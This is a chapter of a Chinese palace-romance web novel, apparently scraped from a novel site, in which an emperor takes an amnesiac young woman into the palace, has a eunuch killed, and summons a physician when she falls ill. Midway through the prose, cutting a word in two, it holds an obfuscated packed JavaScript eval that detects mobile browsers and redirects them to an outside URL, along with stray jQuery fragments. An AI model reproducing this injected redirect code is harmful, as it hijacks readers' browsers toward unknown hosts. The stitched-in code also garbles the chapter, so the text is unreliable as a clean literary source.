默认冷灰
24号文字
方正启体

38. 第三十八章

作者:子月初五本书字数:K更新时间:
    裴沫面上一片空白,而后消化“私奔”二字,一言难尽看着身侧的人。


    她虽然记忆混乱,但也不至于什么都不知道,自己绝不是会私奔的人。


    面前的人嘴角噙着笑,眼底嵌着碎玉,看向她的目光柔和,吸引人的白狐莫过于此。


    裴沫移开视线,窗外一闪而逝的风景,她开口询问:“阁下名……”


    霍咎挑眉,小骗子这是看出来了。


    他带着汤婆子凑近,汤婆子贴上裴沫的手背,源源不断地传过去热量。


    “吾名君鹤。”


    见着裴沫往后躲了躲,一时恶劣心起,往前贴了贴,凑在她耳侧轻吐,“你唤我,昭曦。”


    裴沫已经被他逼得缩到角落,听闻他最后呼唤的亲昵闺名,眼睛眯了眯。


    “昭曦?”


    这才不是她的闺名,她的闺名是……


    她神色一愣,她的闺名是什么?


    昭曦,真的不是她的闺名吗,那她为什么想要应下?


    太阳穴附近的神经开始跳跃,一突一突的,不尖锐,像是钝刀子一点点地磨,折磨人,记忆走马观花,最后缓和下来也想不起什么。


    霍咎视线落在低垂眉眼的女孩,女孩低着头,眼角翻出泪水,皱着眉好似很痛苦一样。


    他伸出手隔着大氅抚了抚她的后背,声音平淡,带着安抚人心的意味轻拍,“无事,想不起来就别想了。”


    哪怕她这辈子都想不起来,他也护得住她。


    嗓音带着钩子,裴沫抬头看向近处的霍咎,因为吹了风,唇色偏淡,微微抿着。


    看着有点馋人,裴沫揉了揉眼睛,在外面吹了冷风,上马车感受温暖。


    如今听着外面漱漱落雪,车厢里热茶暖汤,加上君鹤衣裳熏香,静谧安好,一松下来就容易犯困。


    霍咎翻看这段时间朝堂呈上来的奏折,还有暗卫监察记录的内容。


    肩上倏然一沉,清浅的呼吸拂过他的衣角,最后卷缩在衣领和脖颈交界上。


    少年目不斜视,不紧不慢地翻过奏折,车轱辘压过雪地,留下一道道车辙。


    五光十色的记忆绕着脑子,周围幽香将她扯离痛苦,那些记忆钻进脑中,一遍遍铺开,组装,重合。


    尤其是有段高度重合的记忆,第二遍过的时候她已经感觉不对了,第三遍,第四遍……


    她能感觉到自己开始颤抖,接受不了一遍遍走向死亡。


    “裴沫,裴昭曦。”


    她松一口气,醒来,肩上的黑金祥云大氅落了下去,低头一看,茫然的眼中闪过疑惑。


    “醒了。”


    霍咎打量着裴沫的眼神,茫然无措。


    看来没想起来。


    “到哪里了?”裴沫询问,她撩开车厢的帘子,是一处深巷。


    她记忆中没有这里的片段,想来是没来过,或者不常来。


    “我们需要换马车。”


    霍咎想着一会用什么借口忽悠小骗子,没想到小骗子自顾自下了马车,利索地爬上另一辆马车。


    霍咎;“……”


    看来是他多心了,小骗子没记忆后好忽悠得很,完全不需要他多解释,这样子要是送回尚书府,不知道要怎么被那个赝品忽悠。


    “处理了。”霍咎开口吩咐。


    霍十架着马车离开,他们的这辆马车换了一个车夫,裴沫撩开帘子,驾车离去的是一个她不认识的人,感觉有点熟悉,名字就在嘴边,但是不能脱口而出,再三思索,人走远了后放下帘子。


    换了马车往外行驶,比在外面要平稳很多。


    新的马车车厢要比之前的奢靡不少。


    “不是说私奔么?”哪来的那么豪华的马车,比之前的那辆马车要奢靡很多,而且不应该往外逃,怎么往皇城里钻?


    裴沫本意是戳破这人的谎言,谁知他直接应下,“私奔,总要有些盘缠。”


    “所以?”


    霍咎意味不明地哂笑了声,慢悠悠地吐了两字:“带你去国库路拿点银两。”


    裴沫接话,“拿多少?”


    他双目微阖,神情放松,靠在身后的软垫里,手指懒散地搭在腰间,有一搭没一搭地敲打着,闻言他偏头,略显傲慢地说:“想拿多少拿多少,天塌下来我顶着。”


    他这话实在疯,似乎那不是国库,仿佛只是他家后院的杂草。


    马车一停,外头传来尖细嗓:“恭迎陛下。”


    裴沫整个人一僵,卡顿转头看去,眼中难免震惊又觉得合理,也就是皇帝了,才能将国库说得跟自家后院一样。


    漫不经心掀了掀眼皮,深邃眼眸含着审视望向外头。


    “恭迎陛下——”


    “霍九!”


    只等他一声令下,尖细的嗓子半吐不出来的词最后溅上鲜血,温热的血液被冷风一浸,落地寒凉。


    一听这动静就知道发生了什么,隐隐约约还听到了东西落地的声响,裴沫皱眉,怎么就突然杀人了。


    风从帘子的缝隙中,裹挟着血腥气透进来,裴沫不怕死地还想拉开帘子看看是不是砍下了整个头颅,手还没碰上帘子,豁然被身后的少年拽住,她转头看向冷面的少年。


    霍咎匪夷所思垂眸望着手中扯着的手腕,心中顿感好笑,曾经当着裴沫的面杀人,如今竟然还胆怯起来了。


    “你不让我看?”裴沫疑惑,察觉手腕的力道放松,面前的人失力,落入软包当中,“为什么?”


    不过是个尸体,莫非自己和面前少年真的是相爱之人,于是不愿意让她看到血腥。


    若是这个,她倒是可以理解。


    “想看就看。”霍咎合眸,似乎不愿意再与她交谈,


    裴沫对外面的兴趣没有多大,对于外面不知道有没有少头的实体,还是里面的少年更加赏心悦目。


    她也往后靠,深陷提前准备好的软包当中,周围一切都是暖融融的,舒适倒若是让她在马车里休息,她也是愿意的。


    马车外原先还有点动静的,等到后面,动静消失,裴沫好不容易消散的困意全然消失。


    “陛下,处理好了。”


    霍咎睁眼,眼中一片清明,出了车厢,侧头对后面依旧窝在软包当中的裴沫说道:“出来。”


    裴沫跟着出来,原先披着的大氅依旧牢牢地刮在她身上,她捏着眉心,“睡谁在那?找个人带我去就行了。”


    霍咎反问:“困了?”


    裴沫恹恹点头,如今整个人感觉不够睡。


    少年见此,反而没有让宫女带她去原先收拾好的寝殿中休息,反而吩咐其他:“找个屏风放在御书房左侧。”


    裴沫疑惑抬眸,眼底的困倦不加掩饰,决定转身回马车里休


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14976676|158170||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    息。


    身子还没完全转过去,就被一把拽了回来,霍咎拽着她的衣袖,连带着她的手腕都被他攥在手心。


    “不是困吗?跟我走,去御书房睡。”


    裴沫烦躁的皱起了眉头,眉眼间的困意让她整个人看起来无精打采的。


    那里怎么睡啊?!


    事实证明,面前的人不会最疯,只会更疯。


    富丽堂皇的御书房突兀的多出来了一个屏风遮住的死角,里头摆上了一张软榻,放着玉枕和被褥。


    “去睡吧。”少年撒开手坐到位置上,准备开始批奏折。


    御书房内地龙烧的旺,不用担心会不会着凉,裴沫脱去大氅才想起里头的外袍有些脏,但是想不起来是如何弄脏的,也就作罢。


    确认屏风遮挡的严严实实,她放心的在软榻上睡下。


    没一会儿便陷入了光怪陆离的梦境。


    霍咎处理了一会儿公务,拧着眉头将手上的奏折扔在地。


    “霍十。”


    一人从房梁跃下,单膝跪地汇报:“陛下,马车已经送回去了,殿下在宫中的消息不会传出去。”


    “去盯着霍凌,近日一旦与任何人有所行动,全部抓起来。”


    霍十没有丝毫犹豫立刻点头,而后几步消失在面前。


    方才那份奏折上说,先帝驾崩前,曾立过一份遗诏,上面继承地位的人不是他,是霍凌。


    如今那份遗照被贴身照顾先帝的宫女几经辗转,如今落在光禄寺少傅手中。


    他记得光禄寺少傅是先帝遗留下来的人,若是交给他保管,确实很有可能,倘若消息传出去,他再想拔掉先帝留下来的人,会遗留话柄。


    如今的光禄寺少傅,若是站在了霍凌那边,即便会留下话柄他也留他不得,反正他在他人面前不就是一个暴君么。


    所有人都怕他,惧他……


    霍咎冷峻的神色一顿。


    不,还是有一个人不怕他的,他的视线缓缓一下被屏风挡住的那一处。


    不仅不怕他,还敢在他的眼皮子底下呼呼大睡。


    即便知道她可能失去了记忆,但见她如此舒适,还是很不爽,随着这个想法,少年起身晃到屏风内处。


    女孩睡得脸通红,即便御书房烧着地龙,即便他裹着厚厚的被褥,整个人还细微发着抖。


    “霍九,把杨逢抓过来。”


    霍咎伸手,手背贴在女孩的额头似乎探寻合适的角度,皱着眉感受温度。


    感觉不出来,他缓缓低头,与女孩那张红扑扑的脸愈发接近,眼看着就要贴在一块,外头就传来声响。


    “陛下要叫太医就好好的叫,臣身子骨再好,也经不起冰天雪地从被褥里拎出来。”


    霍咎出了屏风,杨逢此刻正摩挲下巴,眼中透露着匪夷所思。


    “卧房搬到御书房来了?!”他记得他没有那么勤政啊?


    “找你把脉。”霍咎紧皱的眉头透露着不耐。


    “给谁?别告诉我你金屋藏——”见着霍咎从屏风后面抓出一段手腕,将太医院院首吓得一激灵,“真有?!”


    这家伙居然玩金屋藏娇?!


    “估计是受风寒,等我开一剂药灌下去。”


    隔着帕子把脉,杨逢仰头思索,而后开始开药方,低头写字时还不忘八卦,“陛下对女人有兴趣了?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)